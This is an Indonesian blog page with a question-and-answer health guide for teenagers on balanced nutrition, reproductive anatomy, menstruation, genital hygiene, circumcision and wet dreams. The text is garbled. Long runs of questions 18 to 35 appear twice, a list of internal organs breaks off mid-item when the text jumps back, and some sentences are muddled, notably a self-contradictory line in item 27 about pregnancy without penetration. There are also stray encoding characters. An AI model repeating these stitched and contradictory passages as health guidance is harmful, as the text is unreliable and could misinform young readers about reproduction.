Sebaiknya ikutilah bimbingan dan penyuluhan yang diselenggarakan oleh lembaga-lembaga resmi . seperti puskesmas, sekolah, pesantren dan organisasi-organisasi kepemudaan yang ditugasi untuk menyebarkan pengetahuan itu.
15. Apa yang sebaiknya dilakukan oleh remaja ?
• Jagalah dirimu sendiri dengan penuh tanggung jawab untuk masa depanmu
• Jangan rusak kepercayaan orang tua terhadap dirimu
• Berani menyatakan “tidak” terhadap ajakan teman yang akan merugikan dirimu
• Hindari perbuatan-perbuatan yang beresiko untuk kehidupan masa depan
• Pilihlah teman yang berahlak baik
• Gunakan masa remajamu untuk hal-hal yang bermanfaat
• Jagalah kondisi jasmani dan rohani, dengan mengkonsumsi makanan yang bergizi, berolah raga dan mengikuti kegiatan-kegiatan keagamaan dan kegiatan sosial.
GIZI SEIMBANG BAGI REMAJA
16. Mengapa remaja membutuhkan gizi seimbang ?
Karena saat remaja terjadi pertumbuhan jasmani dan pematangan organ tubuh yang cepat , sehingga diperlukan zat-zat gizi yang cukup, baik jumlah maupun macamnya.
17. Apa saja zat gizi yang diperlukan itu ?
• Energi yang berfungsi sebagai zat tenaga di dapat dari beras, jagung, gandum, kentang, ubi jalar, sagu, talas dll.
• Protein yang berfungsi sebagai zat pembangun di dapat dari ikan, daging, susu, telur, kacang-kacangan.
• Vitamin dan mineral yang berfungsi sebagai zat pengatur di dapat dari sayur-sayuran, dan buah-buahan.
18. Apakah disetiap makanan terdapat zat-zat gizi yang sama ?
Setiap makanan memiliki zat gizi yang berbeda-beda, oleh sebab itu makanlah makanan yang beraneka ragam untuk mencapai gizi seimbang .
19. Bila mengkonsumsi berbagai macam makanan , bukankah mengakibatkan kegemukan ?
Konsumsi energi yang terlalu banyak akan menyebabkan terlalu gemuk, sebaliknya konsumsi energi yang kurang akan menyebabkan remaja menjadi kurus.
Konsumsi energi yang terbaik adalah konsumsi energi yang tidak berlebihan tetapi juga tidak kekurangan. Hal tersebut ditandai dengan berat badan normal.
KESEHATAN REPRODUKSI
20. Apakah reproduksi itu ?
Reproduksi adalah proses melanjutkan keturunan ?
21. Apakah kesehatan reproduksi itu ?
Kesehatan reproduksi adalah keadaan sehat secara menyeluruh , mencakup fisik, mental dan kehidupan sosial, yang berkaitan dengan alat, fungsi serta proses reproduksi.
Dengan demikian kesehatan reproduksi bukan hanya kondisi yang bebas dari penyakit, melainkan bagaimana seseorang dapat memiliki kehidupan seksual yang aman dan memuaskan sebelum dan sesudah menikah.
22. Apakah alat-alat reproduksi itu ?
Alat reproduksi adalah bagian-bagian tubuh kita yang berfungsi dalam melanjutkan keturunan . alat reproduksi perempuan berbeda dengan alat reproduksi laki-laki.
23. Apa yang disebut alat reproduksi perempuan ( yang sering disebut kemaluan perempuan ) ?
Alat reproduksi perempuan terdiri dari bagian luar ( dapat dilihat karena di permukaan tubuh ) dan bagian dalam ( tidak terlihat karena terletak di rongga panggul )
24. Apakah yang disebut alat reproduksi perempuan bagian luar ?
- Bibir luar kemaluan / labia mayora
- Bibir dalam kemaluan / labia minora
- Kelentit / klitoris
- Vagina
25. Apakah yang disebut alat reproduksi perempuan bagian dalam ?
- Vagina
- Leher rahim / cervix
- Rahim / uterus
Setiap makanan memiliki zat gizi yang berbeda-beda, oleh sebab itu makanlah makanan yang beraneka ragam untuk mencapai gizi seimbang .
19. Bila mengkonsumsi berbagai macam makanan , bukankah mengakibatkan kegemukan ?
Konsumsi energi yang terlalu banyak akan menyebabkan terlalu gemuk, sebaliknya konsumsi energi yang kurang akan menyebabkan remaja menjadi kurus.
Konsumsi energi yang terbaik adalah konsumsi energi yang tidak berlebihan tetapi juga tidak kekurangan. Hal tersebut ditandai dengan berat badan normal.
KESEHATAN REPRODUKSI
20. Apakah reproduksi itu ?
Reproduksi adalah proses melanjutkan keturunan ?
21. Apakah kesehatan reproduksi itu ?
Kesehatan reproduksi adalah keadaan sehat secara menyeluruh , mencakup fisik, mental dan kehidupan sosial, yang berkaitan dengan alat, fungsi serta proses reproduksi.
Dengan demikian kesehatan reproduksi bukan hanya kondisi yang bebas dari penyakit, melainkan bagaimana seseorang dapat memiliki kehidupan seksual yang aman dan memuaskan sebelum dan sesudah menikah.
22. Apakah alat-alat reproduksi itu ?
Alat reproduksi adalah bagian-bagian tubuh kita yang berfungsi dalam melanjutkan keturunan . alat reproduksi perempuan berbeda dengan alat reproduksi laki-laki.
23. Apa yang disebut alat reproduksi perempuan ( yang sering disebut kemaluan perempuan ) ?
Alat reproduksi perempuan terdiri dari bagian luar ( dapat dilihat karena di permukaan tubuh ) dan bagian dalam ( tidak terlihat karena terletak di rongga panggul )
24. Apakah yang disebut alat reproduksi perempuan bagian luar ?
- Bibir luar kemaluan / labia mayora
- Bibir dalam kemaluan / labia minora
- Kelentit / klitoris
- Vagina
25. Apakah yang disebut alat reproduksi perempuan bagian dalam ?
- Vagina
- Leher rahim / cervix
- Rahim / uterus
- Saluran telur / tuba falopii
- Dua buah indung telur / ovarium
26. Apakah selaput dara / himen itu ?
Selaput dara / himen berupa jaringan selaput lendir berbentuk semi sirkuler dan terletak di bagian terluar dari vagina. Seringkali tidak utuhnya selaput dara, dijadikan tanda bahwa seorang anak perempuan sudah hilang keperawanannya, Artinya yang bersangkutan sudah pernah melakukan hubungan seksual. Memang robeknya selaput dara dapat disebabkan masuknya penis laki-laki ke dalam vagina perempuan yang pertama kali.
Dapat disertai perdarahan tetapi dapat juga tidak, tergantung kekenyalan selaput daranya. Masih ada kemungkinan lain mengapa selaput dara tidak utuh, yaitu disebabkan kecelakaan, atau latihan olah raga yang berat ( berkuda atau terjatuh dari sepeda )
27. Apakah tanda-tanda kematangan alat reproduksi perempuan ?
Kematangan alat reproduksi perempuan ditandai oleh terjadinya haid pertama, yang disebut “ menarche”. Ada pula yang menyebut bahwa remaja perempuan itu sudah akil baligh. Yang biasanya dimulai sekitar umur 8- 12 tahun. Kalau remaja sudah mengalami menarche berarti tubuhnya sudah menghasilkan sel telur yang dapat dibuahi sperma yang dihasilkan oleh “hubungan seksual , walaupun hanya sekali, memungkinkan terjadinya kehamilan”. Perlu diketahui , bahwa kehamilan juga dapat terjadi tanpa masuknya penis laki-laki ke dalam vagina perempuan, sehingga seperma laki-laki yang biasanya menyemprot keluar berhasil masuk ke dalam vagina perempuan.
28. Apakah haid / mentruasi / datang bulan itu ?
Haid adalah luruhnya lapisan dinding dalam rahim yang mengandung pembuluh darah, sehingga haid pada remaja perempuan ditandai oleh keluarnya darah dari kemaluan. Peristiwa ini berlangsung selama 3-7 hari. Haid terjadi secara teratur setiap bulan, disebut siklus haid. Namun jarak satu haid dengan haid berikutnya, tidak sama untuk setiap remaja perempuan. Biasanya 28 hari , ada yang kurang atau lebih, sebut saja antara 21-35 hari. Siklus haid pada remaja perempuan kadang-kadang juga belum teratur.
29. Apakah yang perlu diperhatikan remaja perempuan kalau ia sedang haid ?
• Pada saat haid dinding rahim mudah mengalami infeksi, bila bakteri memasuki vagina. Akibat infeksi dapat menyebabkan penyakit yang merusak sistem reproduksi . oleh karena itu, menjaga kebersihan selama haid harus dilakukan, antara lain mengganti duk atau pembalut sekurang-kurang 2-3 kali sehari, mandi dan membasuh kemaluan dengan air bersih.
• Selama haid pada beberapa remaja perempuan timbul rasa nyeri pada pinggang atau pinggul, hal ini disebabkan peregangan otot rahim.
• Pada saat haid sebaiknya minum tablet zat besi 1 x 1 tablet / hari selama 10 hari karena banyak mengeluarkan darah.
30. Apakah alat reproduksi laki-laki itu ?
Alat reproduksi laki-laki adalah bagian tubuh yang berfungsi dalam proses melanjutkan keturunan. Alat reproduksi laki-laki ini terdiri dari :
-penis , kantung zakar ( scrotum ), urethra, kelenjar prostat dan vasdeference.
31. Mengapa laki -laki disarankan untuk disunat ?
Dengan disunat, penis jadi lebih mudah dibersihkan, lebih bersih dan terhindar dari infeksi dan mencegah penyakit.
32. Bagaimana membersihkan penis ?
Caranya , bagi yang tidak disunat kulit yang menutupi penis ditarik kearah dalam / belakang , pelan-pelan, basuhlah kotoran dengan sabun yang lembut, dan kotoran pada kulit yang lipat-lipat. Remaja laki-laki dapat mengeluarkan cairan yang berwarna putih kekuningan, oleh karena itu gantilah pakaian dalam, minimal 2 kali sehari
33. Apakah ereksi itu ?
Ereksi adalah pengerasan penis, yang disebabkan masuknya aliran darah pada penis yang menimbulkan penis jadi besar dan keras.
Ereksi kadang-kadang disertai dengan ejakulasi ( ketika air mani yang berisi sperma penuh dan keluar melalui batang zakar / penis )
34. Apakah mimpi basah itu ?
Peristiwa ejakulasi pengeluaran cairan mani / berupa cairan kental pada saat tidur.
35. Kapan mimpi basah itu terjadi pada laki-laki ?
Antara usia 10 – 15 tahun , pada saat usia ini zakar mulai menghasilkan sperma.
- Dua buah indung telur / ovarium
26. Apakah selaput dara / himen itu ?
Selaput dara / himen berupa jaringan selaput lendir berbentuk semi sirkuler dan terletak di bagian terluar dari vagina. Seringkali tidak utuhnya selaput dara, dijadikan tanda bahwa seorang anak perempuan sudah hilang keperawanannya, Artinya yang bersangkutan sudah pernah melakukan hubungan seksual. Memang robeknya selaput dara dapat disebabkan masuknya penis laki-laki ke dalam vagina perempuan yang pertama kali.
Dapat disertai perdarahan tetapi dapat juga tidak, tergantung kekenyalan selaput daranya. Masih ada kemungkinan lain mengapa selaput dara tidak utuh, yaitu disebabkan kecelakaan, atau latihan olah raga yang berat ( berkuda atau terjatuh dari sepeda )
27. Apakah tanda-tanda kematangan alat reproduksi perempuan ?
Kematangan alat reproduksi perempuan ditandai oleh terjadinya haid pertama, yang disebut “ menarche”. Ada pula yang menyebut bahwa remaja perempuan itu sudah akil baligh. Yang biasanya dimulai sekitar umur 8- 12 tahun. Kalau remaja sudah mengalami menarche berarti tubuhnya sudah menghasilkan sel telur yang dapat dibuahi sperma yang dihasilkan oleh “hubungan seksual , walaupun hanya sekali, memungkinkan terjadinya kehamilan”. Perlu diketahui , bahwa kehamilan juga dapat terjadi tanpa masuknya penis laki-laki ke dalam vagina perempuan, sehingga seperma laki-laki yang biasanya menyemprot keluar berhasil masuk ke dalam vagina perempuan.
28. Apakah haid / mentruasi / datang bulan itu ?
Haid adalah luruhnya lapisan dinding dalam rahim yang mengandung pembuluh darah, sehingga haid pada remaja perempuan ditandai oleh keluarnya darah dari kemaluan. Peristiwa ini berlangsung selama 3-7 hari. Haid terjadi secara teratur setiap bulan, disebut siklus haid. Namun jarak satu haid dengan haid berikutnya, tidak sama untuk setiap remaja perempuan. Biasanya 28 hari , ada yang kurang atau lebih, sebut saja antara 21-35 hari. Siklus haid pada remaja perempuan kadang-kadang juga belum teratur.
29. Apakah yang perlu diperhatikan remaja perempuan kalau ia sedang haid ?
• Pada saat haid dinding rahim mudah mengalami infeksi, bila bakteri memasuki vagina. Akibat infeksi dapat menyebabkan penyakit yang merusak sistem reproduksi . oleh karena itu, menjaga kebersihan selama haid harus dilakukan, antara lain mengganti duk atau pembalut sekurang-kurang 2-3 kali sehari, mandi dan membasuh kemaluan dengan air bersih.
• Selama haid pada beberapa remaja perempuan timbul rasa nyeri pada pinggang atau pinggul, hal ini disebabkan peregangan otot rahim.
• Pada saat haid sebaiknya minum tablet zat besi 1 x 1 tablet / hari selama 10 hari karena banyak mengeluarkan darah.
30. Apakah alat reproduksi laki-laki itu ?
Alat reproduksi laki-laki adalah bagian tubuh yang berfungsi dalam proses melanjutkan keturunan. Alat reproduksi laki-laki ini terdiri dari :
-penis , kantung zakar ( scrotum ), urethra, kelenjar prostat dan vasdeference.
31. Mengapa laki -laki disarankan untuk disunat ?
Dengan disunat, penis jadi lebih mudah dibersihkan, lebih bersih dan terhindar dari infeksi dan mencegah penyakit.
32. Bagaimana membersihkan penis ?
Caranya , bagi yang tidak disunat kulit yang menutupi penis ditarik kearah dalam / belakang , pelan-pelan, basuhlah kotoran dengan sabun yang lembut, dan kotoran pada kulit yang lipat-lipat. Remaja laki-laki dapat mengeluarkan cairan yang berwarna putih kekuningan, oleh karena itu gantilah pakaian dalam, minimal 2 kali sehari
33. Apakah ereksi itu ?
Ereksi adalah pengerasan penis, yang disebabkan masuknya aliran darah pada penis yang menimbulkan penis jadi besar dan keras.
Ereksi kadang-kadang disertai dengan ejakulasi ( ketika air mani yang berisi sperma penuh dan keluar melalui batang zakar / penis )
34. Apakah mimpi basah itu ?
Peristiwa ejakulasi pengeluaran cairan mani / berupa cairan kental pada saat tidur.
35. Kapan mimpi basah itu terjadi pada laki-laki ?
Antara usia 10 – 15 tahun , pada saat usia ini zakar mulai menghasilkan sperma.
ALAT REPRODUKSI DAN FUNGSINYA
Organ Reproduksi Perempuan
1. Indung telur (ovarium), yaitu gumpalan sebesar telur ayam yang terdiri dari sel-sel
telur (ovum).
2. Saluran telur (tuba falopi), yang terletak di sebelah kiri dan kanan rahim, yaitu
saluran untuk dilalui sel telur menuju rahim.
3. Rahim (uterus), sebuah rongga sebesar buah alpukat atau sebesar genggaman
tangan orang dewasa, terbuat dari otot-otot yang kuat untuk membesarkan bayi
selama 9 bulan.
4. Leher rahim (cervix), lubang kecil di bawah rahim yang bisa membesar ketika bayi ke
luar dari rahim.
5. Liang kemaluan (vagina), adalah jalan atau saluran antara rahim (organ seks di
dalam tubuh perempuan) dengan organ seks bagian luar. Dari vaginalah bayi keluar
waktu dilahirkan.
6. Mulut Vagina, yaitu bagian luar dari vagina yang merupakan sebuah rongga
penghubung antara rahim dengan bagian luar tubuh. Lubang vagina ini ditutupi oleh selaput dara yang dapat pecah karena senggama atau karena sebab lain (jatuh, kecelakaan, dll).
7. Klentit (clitoris), adalah benjolan daging kecil di sekitar mulut vagina yang berisi
banyak pembuluh darah dan syaraf sehingga merupakan bagian yang peka.
8. Anus, lubang untuk mengeluarkan kotoran sisa makanan. Karena dilalui oleh kotoran
(bisa mengandung kuman penyakit) maka harus selalu dibersihkan dengan benar.
Organ Reproduksi Laki-laki
1. Kantung zakar (scrotum), kantung lembut yang menahan dua buah testis berbentuk
bola kecil.
2. Buah zakar (testis), dua bola kecil berisi sel-sel kecil yang disebut sperma (mulai
dihasilkan waktu remaja). Sperma bisa keluar pada waktu remaja laki-laki mengalami
³mimpi basah´.
3. Saluran sperma (vas deferens), adalah sebuah saluran bagi sperma dari testis
menuju prosta
4. Prostat, berfungsi menghasilkan cairan mani yaitu cairan lengket yang akan
bercampur dengan sperma ketika keluar dari penis saat ejakulasi.
5. Saluran kemih (uretra), saluran untuk dilalui oleh cairan mani yang mengandung
sperma, dan juga saluran air kencing. Air kencing dan mani tidak akan keluar
bersama-sama.
6. Batang kemaluan (penis), terbuat dari otot dan merupakan saluran untuk keluarnya
air kencing maupun saluran keluarnya sperma. Ujung penis sangat peka karena
mengandung banyak syaraf, sehingga bila diraba memberi rangsangan.
7. Kepala penis (glans), adalah bagian paling depan dari batang kemaluan atau penis
yang sangat banyak mengandung pembuluh darah. Ujung penis ini tertutup kulit yang biasanya dibuang (dikhitan atau disunat). Sunat dianjurkan karena memudahkan pembersihan penis sehingga mengurangi kemungkinan terkena infeksi atau penyakit lain.
Langganan:
Postingan (Atom)